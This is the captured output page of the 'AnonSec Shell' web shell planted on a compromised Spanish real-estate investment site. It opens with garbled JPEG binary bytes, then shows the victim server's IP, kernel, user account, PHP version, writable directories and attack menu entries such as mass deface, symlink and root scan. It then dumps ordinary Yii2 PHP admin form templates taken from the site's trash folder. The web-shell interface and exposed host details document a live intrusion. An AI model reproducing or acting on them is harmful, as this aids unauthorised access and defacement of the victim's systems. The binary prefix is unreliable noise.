JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/_form.php.tar
var/www/vhosts/oinversion.com/httpdocs/backend/views/project/_form.php000064400000017676151456531670022351 0ustar00<?php
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;
use kartik\file\FileInput;
use kartik\sortinput\SortableInput;
use Zelenin\yii\widgets\Summernote\Summernote;
?>

<div class="content-form">
  <div class="box box-primary">
    <div class="box-header with-border">
        <h3 class="box-title"><?= Yii::t('app', 'Datos del proyecto') ?></h3>
    </div>
    
    <?php $form = ActiveForm::begin([
            'id' => 'project',
            'enableClientValidation' => true,
            'errorSummaryCssClass' => 'error-summary alert alert-error',
            'options' => ['enctype' => 'multipart/form-data'],
        ]);
    ?>
    <div class="box-body">
    
      <div class="row">
        <div class="col-md-7">
            <?= $form->field($project, 'title')->textInput(['maxlength' => true]) ?>
            <?= $form->field($project, 'description')->widget(Summernote::className(), [
                        'options' => [
                            'class' => 'translation-summernote form-control',
                        ]
                    ]
                );
            ?>
            <?= $form->field($project, 'city')->textInput(['placeholder'=>'¿En qué barrio/ciudad está ubicado?']) ?>
            <?= $form->field($project, 'latitude')->hiddenInput()->label(false); ?>
            <?= $form->field($project, 'longitude')->hiddenInput()->label(false); ?>
            <?php
            echo $form->field($project, 'coordinates')->widget(
                'kolyunya\yii2\widgets\MapInputWidget',
                [

                    // Google maps browser key.
                    'key' => \Yii::$app->params['googleKey'],

                    // Initial map center latitude. Used only when the input has no value.
                    // Otherwise the input value latitude will be used as map center.
                    // Defaults to 0.
                    'latitude' => !empty($project->latitude)?$project->latitude:41.38506389999999,

                    // Initial map center longitude. Used only when the input has no value.
                    // Otherwise the input value longitude will be used as map center.
                    // Defaults to 0.
                    'longitude' => !empty($project->longitude)?$project->longitude:2.1734034999999494,

                    // Initial map zoom.
                    // Defaults to 0.
                    'zoom' => 16,

                    // Map container width.
                    // Defaults to '100%'.
//                    'width' => '420px',

                    // Map container height.
                    // Defaults to '300px'.
                    'height' => '250px',

                    // Coordinates representation pattern. Will be use to construct a value of an actual input.
                    // Will also be used to parse an input value to show the initial input value on the map.
                    // You can use two macro-variables: '%latitude%' and '%longitude%'.
                    // Defaults to '(%latitude%,%longitude%)'.
                    'pattern' => '%longitude%,%latitude%',

                    // Google map type. See official Google maps reference for details.
                    // Defaults to 'roadmap'
                    'mapType' => 'roadmap',

                    // Marker animation behavior defines if a marker should be animated on position change.
                    // Defaults to false.
                    'animateMarker' => true,

                    // Map alignment behavior defines if a map should be centered when a marker is repositioned.
                    // Defaults to true.
                    'alignMapCenter' => true,

                    // A flag which defines if a search bar should be rendered over the map.
                    'enableSearchBar' => true,

                ]
            );
            ?>
            <?= $form->field($project, 'investors')->textInput(['placeholder'=>'¿Cuántos inversores han habido?','type'=>'number']) ?>
            <?= $form->field($project, 'price_buy')->textInput(['placeholder'=>'Precio de la compra (EUR)']) ?>
            <?= $form->field($project, 'price_tax')->textInput(['placeholder'=>'Precio de los impuestos (EUR)']) ?>
            <?= $form->field($project, 'price_reform')->textInput(['placeholder'=>'Precio de la reforma (EUR)']) ?>
            <?= $form->field($project, 'profit')->textInput(['placeholder'=>'Porcentaje de rentabilidad']) ?>
            <?= $form->field($project, 'term')->textinput(['placeholder'=>'¿Cuántos meses duró el proyecto?','type'=>'number']); ?>
        </div>
      </div>
      
      <?php if (!$project->isNewRecord): ?>
      <div class="row">
        <div class="col-sm-12">
          <div class="project-images-sortable">
            <?php
            echo SortableInput::widget([
                'name' => 'projectImagesOrder',
                'items' => $project->getProjectImagesForSortableWidget(),
                'value' => $project->getOrderOfProjectImagesForSortableWidget(),
                'hideInput' => true,
                'sortableOptions' => [
                    'type' => 'grid',
                ],
            ]);
            ?>
          </div>
        </div>
      </div>
      <?php endif; ?>
      <div class="row">
        <div class="col-sm-12">
          <?php
              echo $form->field($project, 'uploadedImages[]')->widget(FileInput::classname(), [
                  'sortThumbs'=>false, // fuck this. added to avoid breaking sortable plugin
                  'options' => [
                      'multiple' => true, 
                      'accept' => 'image/*',
                      
                    ],
                  'pluginOptions' => [
                      
                      'previewFileType' => 'any',
                      'showCaption' => false,
                      'showRemove' => true,
                      'showUpload' => false
                      ]
                  ]);
          ?>
        </div>
      </div>
      <?php if (!$project->isNewRecord): ?>
      <div class="row">
        <div class="col-sm-12">
          <div class="project-images-sortable">
            <?php
            echo SortableInput::widget([
                'name' => 'projectBlueprintsOrder',
                'items' => $project->getProjectBlueprintsForSortableWidget(),
                'value' => $project->getOrderOfProjectBlueprintsForSortableWidget(),
                'hideInput' => true,
                'sortableOptions' => [
                    'type' => 'grid',
                ],
            ]);
            ?>
          </div>
        </div>
      </div>
      <?php endif; ?>
      <div class="row">
        <div class="col-sm-12">
          <?php
              echo $form->field($project, 'uploadedBlueprints[]')->widget(FileInput::classname(), [
                    'sortThumbs'=>false, // fuck this. added to avoid breaking sortable plugin
                    'options' => ['multiple' => true, 'accept' => 'image/*'],
                    'pluginOptions' => [
                        'previewFileType' => 'any',
                        'showCaption' => false,
                        'showRemove' => true,
                        'showUpload' => false
                        ]
                    ]);
            ?>
        </div>
      </div>
      
      
    </div>
    
    <div class="box-footer">
        <?= Html::submitButton(
                '<span class="glyphicon glyphicon-check"></span> ' .
                ($project->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                [
                    'id' => 'save-' . $project->formName(),
                    'class' => 'btn btn-success'
                ]
            );
        ?>
        <?= Html::a('Cancelar', ['index'], ['class'=>'btn btn-link']); ?>
    </div>

    <?php ActiveForm::end(); ?>
    
  </div>
</div>var/www/vhosts/oinversion.com/httpdocs/backend/views/member/_form.php000064400000005340151456531700022125 0ustar00<?php
use yii\helpers\Url;
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;
use kartik\file\FileInput;

?>

<div class="member-form">
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title"><?= Yii::t('app', 'Datos del miembro') ?></h3>
        </div>
        <?php $form = ActiveForm::begin([
                'id' => 'member',
                'enableClientValidation' => true,
                'errorSummaryCssClass' => 'error-summary alert alert-error',
                'options' => ['enctype'=>'multipart/form-data'],
            ]);
        ?>
        <div class="box-body col-md-7">
            <?= $form->field($member, 'name')->textInput(['maxlength' => true]) ?>
            <?= $form->field($member, 'position')->textInput(['maxlength' => true]) ?>
            <?= $form->field($member, 'description')->textArea(['maxlength' => true]) ?>
            <?= $form->field($member, 'twitter')->textInput() ?>
            <?= $form->field($member, 'linkedin')->textInput() ?>
            <?= $form->field($member, 'mail')->textInput() ?>
            <?= $form->field($member, 'uploadedFeaturedImage',
                ['options'=>['class'=>'col-md-11 image-file-upload']])->widget(
                    FileInput::classname(),[
                        'options' => ['multiple' => false, 'accept' => 'image/*'],
                        'pluginOptions' => [
                            'defaultPreviewContent' => Html::img($member->getFullUrlFeaturedImage()),
                            'overwriteInitial' => true,
                            'showCaption' => false,
                            'showRemove' => true,
                            'showUpload' => false,
                            'showClose' => false,
                            'browseLabel' => '',
                            'removeLabel' => '',
                            'removeIcon' => '<i class="glyphicon glyphicon-remove"></i>',
                            'layoutTemplates' => ['main2' => '{preview} {browse} {remove}'],
                            'allowedFileExtensions' => ["jpg", "png", "gif"]
                            ]
                        ]);
            ?>
        </div>
        <div class="clearfix"></div>
        <div class="box-footer">
            <?= Html::submitButton(
                    '<span class="glyphicon glyphicon-check"></span> ' .
                    ($member->isNewRecord ? Yii::t('app', 'Crear') : Yii::t('app', 'Guardar')),
                    [
                        'id' => 'save-' . $member->formName(),
                        'class' => 'btn btn-success'
                    ]
                );
            ?>
        </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>var/www/vhosts/oinversion.com/httpdocs/backend/views/content/_form.php000064400000003344151456531740022336 0ustar00<?php
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;

use backend\widgets\LanguageTabs;

use common\models\FlatPage;
?>

<div class="content-form">
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title"><?= Yii::t('app', 'Fill Block Data') ?></h3>
        </div>
        <?php $form = ActiveForm::begin([
                'id' => 'content',
                'enableClientValidation' => true,
                'errorSummaryCssClass' => 'error-summary alert alert-error',
            ]);
        ?>
        <div class="box-body col-md-7">
            <?= $form->field($content, 'flat_page_id')->dropDownList(FlatPage::getMappedArray()) ?>
            <?= $form->field($content, 'name')->textInput(['maxlength' => true]) ?>
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $content,
                    'fieldName' => 'text',
                    'translations' => $translations,
                    'numberOfRows' => 10,
                    'isHTMLEditor' => true,
                ]);
            ?>
        </div>
         <?php //echo $form->errorSummary($content); ?>
        <div class="clearfix"></div>
        <div class="box-footer">
            <?= Html::submitButton(
                    '<span class="glyphicon glyphicon-check"></span> ' .
                    ($content->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                    [
                        'id' => 'save-' . $content->formName(),
                        'class' => 'btn btn-success'
                    ]
                );
            ?>
        </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>var/www/vhosts/oinversion.com/httpdocs/backend/views/gallery/_form.php000064400000005121151456531750022317 0ustar00<?php
/*TODO: Add possibility of deactivate/activate Gallery image, and delete Gallery image. Deactivate is a Must Have feature, delete is a Good To Have feature */
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use kartik\file\FileInput;
use kartik\sortinput\SortableInput;
?>

<div class="gallery-form">
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title"><?= Yii::t('app', 'Fill Gallery Data') ?></h3>
        </div>
        <?php $form = ActiveForm::begin([
                'id' => 'gallery',
                'enableClientValidation' => true,
                'errorSummaryCssClass' => 'error-summary alert alert-error',
                'options' => ['enctype'=>'multipart/form-data'],
            ]);
        ?>
        <div class="box-body col-md-7">
            <?= $form->field($gallery, 'name')->textInput(['maxlength' => true]) ?>
            <?php if (!$gallery->isNewRecord): ?>
                <div id="gallery-images-sortable">
                <?=
                    SortableInput::widget([
                        'name' => 'galleryImagesOrder',
                        'items' => $gallery->getGalleryImagesForSortableWidget(),
                        'value' => $gallery->getOrderOfGalleryImagesForSortableWidget(),
                        'hideInput' => true,
                        'sortableOptions' => [
                            'type' => 'grid',
                        ],
                    ]);
                ?>
                </div>
            <?php endif ?>
        </div>
        <div class="col-md-12">
            <?=
                $form->field($gallery, 'uploadedImages[]')->widget(FileInput::classname(), [
                    'options' => ['multiple' => true, 'accept' => 'image/*'],
                    'pluginOptions' => [
                        'previewFileType' => 'any',
                        'showCaption' => false,
                        'showRemove' => true,
                        'showUpload' => false
                        ]
                    ]);
            ?>
        </div>
        <div class="clearfix"></div>
        <div class="box-footer">
            <?= Html::submitButton(
                    '<span class="glyphicon glyphicon-check"></span> ' .
                    ($gallery->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                    [
                        'id' => 'save-' . $gallery->formName(),
                        'class' => 'btn btn-success'
                    ]
                );
            ?>
        </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>var/www/vhosts/oinversion.com/httpdocs/backend/views/flat-page/_form.php000064400000005533151701057170022517 0ustar00<?php
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;

use backend\widgets\LanguageTabs;
/*
 * TODO: Autocheck is_active when user activate display_on_menu.
 * TODO: Deactivate display_on_menu when user deactivate is_active
 * */

/** @var \common\models\FlatPage $flatPage */

?>

<div class="flat-page-form">
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title"><?= Yii::t('app', 'Fill Page Data') ?></h3>
        </div>
        <?php $form = ActiveForm::begin([
                'id' => 'flat-page',
                'enableClientValidation' => true,
                'errorSummaryCssClass' => 'error-summary alert alert-error',
            ]);
        ?>
        <div class="box-body col-md-7">
            
            <?=
            LanguageTabs::widget([
                'form' => $form,
                'model' => $flatPage,
                'fieldName' => 'anchor',
                'translations' => $translations,
            ]);
            ?>
            <?php if ($flatPage->isNewRecord): ?>
                <?= $form->field($flatPage, 'url')->textInput(['maxlength' => true]) ?>
            <?php endif; ?>
            <?php if (!$flatPage->isNewRecord): ?>
                <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $flatPage,
                    'fieldName' => 'slug',
                    'translations' => $translations,
                ]);
                ?>
            <?php endif; ?>
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $flatPage,
                    'fieldName' => 'meta_title',
                    'fieldType' => 'textInput',
                    'translations' => $translations,
                ]);
            ?>
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $flatPage,
                    'fieldName' => 'meta_description',
                    'translations' => $translations,
                    'numberOfRows' => 2,
                ]);
            ?>
            
            <?= $form->field($flatPage, 'is_active')->checkbox(); ?>
            <?= $form->field($flatPage, 'display_on_menu')->checkbox(); ?>
        </div>
        <div class="clearfix"></div>
        <div class="box-footer">
            <?= Html::submitButton(
                    '<span class="glyphicon glyphicon-check"></span> ' .
                    ($flatPage->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                    [
                        'id' => 'save-' . $flatPage->formName(),
                        'class' => 'btn btn-success'
                    ]
                );
            ?>
        </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>var/www/vhosts/oinversion.com/httpdocs/backend/views/blog-post/_form.php000064400000010544151701062350022557 0ustar00<?php
use yii\helpers\Url;
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;
use kartik\file\FileInput;

use backend\widgets\LanguageTabs;

use common\models\BlogCategory;
?>

<div class="blog-post-form">
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title"><?= Yii::t('app', 'Fill Blog Post Data') ?></h3>
        </div>
        <?php $form = ActiveForm::begin([
                'id' => 'blog-post',
                'enableClientValidation' => true,
                'errorSummaryCssClass' => 'error-summary alert alert-error',
                'options' => ['enctype'=>'multipart/form-data'],
            ]);
        ?>
        <div class="box-body col-md-7">
            <?= $form->field($blogPost, 'blog_category_id')->dropDownList(BlogCategory::getMappedArray()) ?>
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $blogPost,
                    'fieldName' => 'title',
                    'fieldType'=>'textInput',
                    'translations' => $translations,
                ]);
            ?>
            
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $blogPost,
                    'fieldName' => 'text',
                    'translations' => $translations,
                    'numberOfRows' => 10,
                    'isHTMLEditor' => true,
                    'allowHTMLEditorToUploadImages' => true,
                    'uploadImageUrl' => Url::toRoute(['/blog-post/upload-image', 'blogPostId' => $blogPost->id]),
                ]);
            ?>
          
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $blogPost,
                    'fieldName' => 'tags_list',
                    'fieldType'=>'textInput',
                    'translations' => $translations,
                ]);
            ?>
          
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $blogPost,
                    'fieldName' => 'meta_title',
                    'translations' => $translations,
                    'numberOfRows' => 3,
                ]);
            ?>
            <?=
                LanguageTabs::widget([
                    'form' => $form,
                    'model' => $blogPost,
                    'fieldName' => 'meta_description',
                    'translations' => $translations,
                    'numberOfRows' => 3,
                ]);
            ?>
          
            <?=
                $form->field($blogPost, 'is_published')->checkbox();
            ?>
            <?= $form->field($blogPost, 'uploadedFeaturedImage',
                ['options'=>['class'=>'col-md-11 image-file-upload']])->widget(
                    FileInput::classname(),[
                        'options' => ['multiple' => false, 'accept' => 'image/*'],
                        'pluginOptions' => [
                            'defaultPreviewContent' => Html::img($blogPost->getFullUrlFeaturedImage()),
                            'overwriteInitial' => true,
                            'showCaption' => false,
                            'showRemove' => true,
                            'showUpload' => false,
                            'showClose' => false,
                            'browseLabel' => '',
                            'removeLabel' => '',
                            'removeIcon' => '<i class="glyphicon glyphicon-remove"></i>',
                            'layoutTemplates' => ['main2' => '{preview} {browse} {remove}'],
                            'allowedFileExtensions' => ["jpg", "png", "gif"]
                            ]
                        ]);
            ?>
        </div>
        <div class="clearfix"></div>
        <div class="box-footer">
            <?= Html::submitButton(
                    '<span class="glyphicon glyphicon-check"></span> ' .
                    ($blogPost->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                    [
                        'id' => 'save-' . $blogPost->formName(),
                        'class' => 'btn btn-success'
                    ]
                );
            ?>
        </div>

        <?php ActiveForm::end(); ?>
    </div>
</div>

Anon7 - 2022
AnonSec Team